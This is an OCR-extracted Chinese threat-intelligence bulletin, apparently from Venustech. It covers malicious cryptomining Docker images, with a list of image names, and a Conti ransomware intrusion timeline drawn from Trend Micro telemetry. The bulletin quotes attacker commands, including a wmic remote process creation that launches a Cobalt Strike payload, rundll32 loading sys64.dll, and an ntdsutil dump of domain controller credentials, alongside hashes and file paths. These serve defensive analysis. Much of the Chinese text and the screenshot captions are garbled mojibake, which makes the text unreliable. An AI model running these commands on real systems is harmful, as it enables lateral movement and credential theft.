BlgInas

FaEMR SV P T REEAR, R CROR AR S AR BT R . b2 51
— BRI A R A 18— Fh 5

AT EHRMIARZENT, BRIUA LB B AR CPU ZEH Bt E R G AN RIIARSE . &
KRBLAH N TN 252 EE, B SRIE RS (0S) A CPU 28K, fbAIIEN 1 X 2ebn

%o

FERLLE G, LA A F A BN MRS . X8, BahE st nT L2 F 4
T PP B N A L

G BRI b2 — S R O A Rt ik st SR AIE . TERR AR IR OB, 3K
A LLRHEANEZNHEAT /32K FERNIF R )G, RN, RATUEIHT LR TH—F
ﬂ%DWMrmbwﬁowm,EZ%%W%¢,mu42§%%%%%ﬁawmmhﬂwt
BATVRIUX/MESVERE T, %5 021982, dockerxmrig. ggcloudl il ggeloud2 K 7.

TERMBTF, &%%&ﬁﬁbfﬂ%mm%ﬁ% ﬁ%%%%mmuwmkﬁum“

azurenql FIVESIA K, fﬁ%% %%THMT%waﬁM?ﬂ

a‘ J / N
/ X v‘JT \/’j /“‘/%\, ( " \
—4- \3// K/’\Q )
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g

ZNMES R R E RS T E RIS, ERMFTA S, AR T —MmE Ry [
RSSO U 67 B (1 I35 KA Pay Load.. FRIA I K 8k B b bk 15 DART (1250t M R IR A
ATARTIRUA O B AR A A SR 1) o B A R S B T, RABRIL T L A8, e ATHE
AECE TR . BB IX P R AT RE L ORI I R T, OANFER 25T,
Payload #2555 kil 21 .

Palo Alto Networks Prisma Cloud %" "] LML Cryptominers Runtime Detection
DIREF Trusted Images THRECRY H O X L. AL, #4 Threat Prevention %4x
WRIK Palo Alto Networks F—fRs kI 7 i ] LAB 1hiX SR 1% i .

+ This incident type shows detection of a o
+ crypto miner, which is software used to < E Host name osboxes
+ generate new coins in cryptocurrencies

.
. .
‘h E such as Bitcoin and Monero. These can be é, s @ Container name
" Incident ; used legitimately by individuals; however, :
+ they are often executed by attackers as a View forensic data »
+ means of monetizing compromised .

alexellisio/nhegm
iner-cloud:azure

e .

+ systems . ° Image name
+ Learn more 4

-

4. Prisma Cloud &#&34iE%0

10C

Docker 814
021982/155_138
021982/66_42 53 57
021982/66_42 93 164
021982/xmrig
021982/xmrigl
021982/xmrig2
021982/xmrig3
021982/xmrig4
021982/xmrigh
021982/xmrig6
021982/xmrig7

avfinder/gmdr
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avfinder/mdadmd
docheck/ax

docheck/heal th
dockerxmrig/proxyl
dockerxmrig/proxy2
ggcloudl/ggcloud
ggcloud2/ggcloud
kblockdkblockd/kblockd
osekugatty/picturel24
osekugatty/picturel28
tempsbro/tempsbro
tempsbro/tempsbrol
toradmanfrom/toradmanfrom
toradmanfrom/toradmanfroml
xmrigdocker/docker2
xmrigdocker/docker3
xmrigdocker/xmrig
xmrigdocker/xmrig

zenidine/nizadam

JR OB -

https://unit42. paloaltonetworks. com/malicious~cryptojacking—images/

4, #EHPB: Conti BHRKMHT

ik
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2021 £ 2 , BATEILHESFIHY Vision One P& KB Cont i Eh2 B K B i A < 10
— RHI T BEEAE

Conti ¥R —Fh A IRIEBM, J2 5 FTAL T ILFERVERR, SN Ryuk #)
RPN RII AR AR o BRI 2 1 Bt 25 6 A I 25 40K Ryuk RO R V5K 43 R %0
B, I, Trickbot/Emotet Fl BazarLoader BUZEERHYE 4> & Conti Ml

A W w7 W T ff A Cobalt Strike & k& C K& W A
Backdoor. <architecture>. COBEACON. SMA) LA K FRATTanfal {3 a4 Vision One P& R
BRI . FRATTIAA, Sophos AT B2 B B 13X —4pBk &S, BUONAERRATITE T
(¥ T ks o A AR R AR AT TP 8 B i v R B R AR TE AR L2 Ak

. 1

,mo 1010 §Q (;\ 0
JJ(_H L/nc 31 G100 0
: " .

i

;wvh.vu

RE
WMI Remote
Executin .
Praces sg Deployed Conti
Executes “vd.exe” RanSOmWare
(Cobaltstrike beacon; “xx.dll” (detected by TrendX)
2021-02-12T712:06:07 2021-02-12T22:44:32
04
WMI Remote Dump Domain
Executing Controller E ted
Process credentials ncrypte

Brcutes oo Using “ntdsutil” customer files

(Col balts on) 2021-02-12T19:59:06 Also generated ransom note
2021-02- 12107 0557 “readme.txt”
2021-02-12T23:34:54
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B 1. AT I )R
R “ TAES” mRCRIL, 2 HZ SOC AT MDR WF 76N B3 #8 AT BL7 ] %
TR o e AT DL SRR B S IEAEREAT (0, BARCONIEAERAT M 2 AR BN 55kt
Trend Micro Vision One™ | workbench > we-1l]-20210212-00000

Summary M0

[Threat Hunting] Suspicious WMI Executing Local Or
Remote Process

2021-02-12T07:05:57Z

Highlights

WMI Execute Local Or Remote Process

- Windows Management
Instrumentation

(© 2021-02-12T07:04:03Z | S
(objectCmd) wmic /node: proces...

& (log wmic /node: process call create
“rundli32.exe C:\Programdata\sys64.dll
{P3!" entryPoint"

- == US|

2. Vision One #Z#ydn

BAVEXAN TAEG IR P EF| sys64. d11 (Cobalt Strike (Ekr) #iir S 7EmfEilse
PAT. RHEFER winlogon. exe, B M AP 5& FAHRHMESS . X sys64. d11 )
JA BAH 24 ] 5E .
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Trend Micro Vision One™ | workbench > we-1jlll-20210212-00002

Summary D

[Threat Hunting] Suspicious WMI Executing Local Or
Remote Process

39 Js &3 Mo

2021-02-12T12:06:07Z

Highlights

WMI Execute Local Or Remote Process

& 3. Vision One %I gy
BN EREHE—ANERBL, HEARZIBIT sys64.dll, MAHAT vd. exe, HELZE
Cobalt Strike {FAr3CfF. 4 WIT:

wmic /node: {IP address} /user:”<domain>\<user>” /password:”<password>”

process call create “cmd /c C:\vd. exe”

i Search App Ki B =HF)G, FRATE FIX L KRG8 A #0473/ IEAE 52 F Cobalt Strike
f& b A8 Y (vdoexe) W #HE B W AN, W & W FH M4 7701 -

TELEMETRY MODIFIED PROCESS CREATE REMOTETHREAD ”Ff7w

AWindows\system3 2\wusa.ex

4. 7EN Cobaltstrike {5 FnAHD i1 I = 14
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Trend Micro Vision One™ | workbench > we-1lll-20210212-00003

Summary D

Credential Dumping

66
E1 0o X1 ®Mo

2021-02-12T719:59:06Z

Highlights

Possible Credential Dumping Via Command Line

B (objectFileHas
. (objectFilePat

@ (endpointip)

K 5. Vision One f&E%Ifyrh

WE, Wi & R B A A ntdsutil g E M A, B RRAEAN
c:\windows\temp\abc, PAMEH/E/EH.

C:\Windows\system32\cmd. exe /C ntdsutil “ac in ntds” 7ifm”

c:\windows\temp\abc” q q
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Trend Micro Vision One™ | workbench > ws-18-20210212-00005

Summary P 0
Unknown Threat Detection via Predictive Machine
Learning

An t was det an endpoint by Trend

Highlights

Predictive Machine Learning Detection

Malware; T
(20
‘ (fileHash) -
‘ (fileMame) xcdll
= (sca nType) REALTIME
@ (actResult) Quarantined

& B vus

K 6. Vision One f&E%Ifrrh

Yo 3 3008 LRV TAR AT 3t — 20 FPB RIE 3l . A, JUAN/ S, ARATTIF 463 Conti
R B Payload, AR Predictive Machine Learning 3.EIA& %] T 1% Payload.

SFTRE I SO xx. d11 SN Ransom. Win64. CONTI. A.



VSR BHERZERmmc

v Venustech Security Response Center

Trend Micro Vision One™ | workbench > we-100-20210212-00026

Summary > O

Ransomware Detection

are related detections has been found on the

Score: 21
mpact scope: = |;| 1 & 0 E0

20

Highlights

Ransomware Detection

G) 2 us . .internal
B (fileHash) -

‘ (fileName) readme.txt

= (scanType) REALTIME

@ (actResult) Quarantined

0 I;I us internal

K 7. Vision One &% frrh

FEREAT CONTT YR IAE 25, 2 A 2 B Rid 5%

S

H AT A% % Cobalt Strike {#5fI arrival vector (FiAKE) . WATEIT AR
¢ Vision One HJARIZHREXS BLHEAT TIRABI T

A RHYE Vision One MIMEIE A (0AT) MHFERE, FATHERA JUA i HAE
A4E2 A 11 BRI 12 BA TR RIE SR Vision One RIEHHE. HERNMGE T ELHIE
ME A, (FRE XL

K] 8. # 1 Vision One £ &M
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Smart Protect WZIEALI iR 2 A 4 H AT efE [F]—2H R 46 %] Cobalt Strike
fEhr. XAJRERIEE H - REBERHLS, HEERR.

2021-02-11 17:13:03 C:\Programdata\sys64.dll Backdoor.Win64.COBALT.AG 881133d30b9daf58454560cchabds9eadf14cd3y
2021-82-11 17:13:03 C:\programdata\sys64.dll Backdoor.Win64.COBALT.AG 881133d30b9daf58454560cchabds9eadf14cd3s
2021-02-11 13:14:59 C:\programdata\sys64.dll Backdoor.Win64.COBALT.AG 881133d30b9daf58454560cchabds9eadf14cd3y
2021-02-04 13:49:23 C:\Program Files (x86)\sys64.dll Backdoor.Win64. COBEACON. SMA 113ac6bbsf5f7a5ed5ef800e5a606bf 88087 Fdf
2021-02-04 13:42:30 C:\programdata\sys64.dll Backdoor.Win64. COBEACON. SMA 113ac6bobsf5f7a5ed5ef800e5a606bf 88087 Fdf
2021-02-04 13:39:01 C:\programdata\sys64.dll Backdoor.Win64. COBEACON. SMA 113ac6bbsf5f7a5ed5ef800e5a606bf 88087 Fdf
2021-02-12 07:07:19 C:\ProgramData\sys64.dll Backdoor.Win64.COBALT.AG 881133d30b9daf58454560cchabds9eadf14cd3y

Ko, 2 H 4 HIK R

B 1 IXAEAE B 2 A, FATIICTR 0 E A A Bk B A A A AR T LAV o Bl 2 nl g
X AR B ARY BR 32 H i )i s AEE T ik

A0

IEANFRATTHT TSR 21, ZHZLE 0] s s HEAT 3E— 22 B ORAP R BN Bty o Bl L D&
RO T X — . AENEIR, AbfTToE SRR BURE B

OAT BFHFEFF R T —8e5 “fR/D5 I TP Huhk” A3 AHY Vision One HHJE
warhE R, BIFEAGERE, WLE RIS R GBI A E .

10. 1R/D 5 [A] 1) TP Hhuhik 24

JFIE TR Relone 3% TR SRS 246 € M A IR0 R FEBLIREEAE R, T
il 2 TR SO EAE R Mega A7 0k
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K 11. 5 Relone #H7<H 24K

BRI FE KA UR G, ORI T HoAth Cobalt/Cobeacon 22 f, XK BBt {548 Al
LAS i) AN 32 LR 14 3 Ao

83

=1 0o AomM@o

2021-02-22T12:31:47Z

Highlights

Possible Ransomware ToolKit

(® 2021-02-22T12:21:33Z

B (fileHash) -

B (fleName) at.dll

TE vy

K 12. 54 Cobalt strike JSHIZEHR

Cobalt Strike BimEshHIA
WA G PR AR U0 B
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Lateral Movement
WMI / Remote Scheduled Task, SMB

i file transfer, Process Injection . Post Cobaltstrike
Inst_a'llatlon of 2021-02-12T 12w+ Deployed Conti ;
Vision One Ransomware detection
OAT data became available @ “at.dll” (another variant)
Feb 11, 2021 “x.dll” (detected by TrendX) 2021-02-22T12:31:47

2021-02-12T22:44:32

T Exfiltration via Dump Domain
Erel;elX]StlEg Cloud Storage Controller Encrypted
obaltstrike Using “Relone” open- ; h
VVVVVVVVVVVVVVVVVVVVVVVVV B s o MECA credentials  customer files
detection 2021-02-12T07:02:58 Using “ntdsutil” Generates ransom note
Seen using SPN 2021-02-12T19:59:06 “readme.txt”
2021-02-04713:39:01 2021-02-12T23:34:54

K] 13. Conti/Cobaltstrike B HIHT [H]3%

N, FRATR REA Cobalt Strike WA BERSAE M4 FAL % H CF Conti B KA.
BN LSASS U5 M R LRI A IR ThAE, 'EREMS IR B 2 31 L A Tt — b
3,

- TELEMET!

14. 1 1sass. exe HIfr 2>

Cobalt/Cobeacon F|H cmd. exe & iillfiy & A1 FE IR B #5 K IE Ao & AT AN ERE
(E3.§5 winlogon. exe. wininit. exe fl wusa. exe) BEieAH, tA]LUME LA FRIAAE A
WhZ

© cmd.exe

Profile

wininit.exe

cmd.exe




VSR BlREkE 2Rl

V Venustech Security Response Center

K 15, NENSFE A end. exe fiv %

\c$\at.dll

2200
C:\Windows\system32\cmd.exe /C C:\ProgramDatam

B 16. JE LA S/ A AT

B R e B AR DL R BR AR
C:\

C:\ProgramData\

C:\Temp\

FEiamfEuwm s b, @A B ntoskrnl. exe B3 WAT AT U EE
Cobalt/Cobeacon 17 NECXT DA B HE AT A, BUNH T adsimit b7 vV ek, 1% 51
T LR SR AT AE T B8 AR o
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\programdataiup.dil

ntoskrnl.exe

246907de4674¢

K 17. #81 ntoskrnl. exe $U4T

e RIE A DRI R i EPATH A B REIA, d2 k.

© schtasks.exe

18. 7F e i EHUT

B T AERTERIMESS 2 41, IR WM 645K 1T B 5 1 DLL 5% EXE R4
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@ schtasks.exe

Profile

TERW

BIRFA A FITE XM B & U (T e N 5235 F H LA, (B Conti DU 288 Ak
RO BCR R A7, XA BRI R AT Payload. $ BT A AR K
B AREISAT BT B AR

FABRHL AT XDR MR TT SR By R R M N T M 5B ok 7 S W R 14
BNV B CELFGH T IRAE . sl R4S = LAEFEMMLE) , MM
PRACERE LU MBI X o 5 KA TR BE (ADD ML 52 ok & P s b 8o 5
TSR EER B ARANSCHR, DR T Ml o ORICE T e B, AT BE 2 4 S35
Bl —MEH G5 M. LI ERORIE, JFGF RS RE, Rl T 7SR

Xt AL R il 75 2D B

10C
A4 iRl = SHA256
Backdoor. Win6
sys64.dll | 4. COBEACON. SM Wave 1 Tk R hSPN %)
A
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4ctb525902490909512d065

Trojan. BAT.CO | A s.bat 4
tup2. bat ab9ae820¢99ec6129f7ea’8
BALSTART. A RIS
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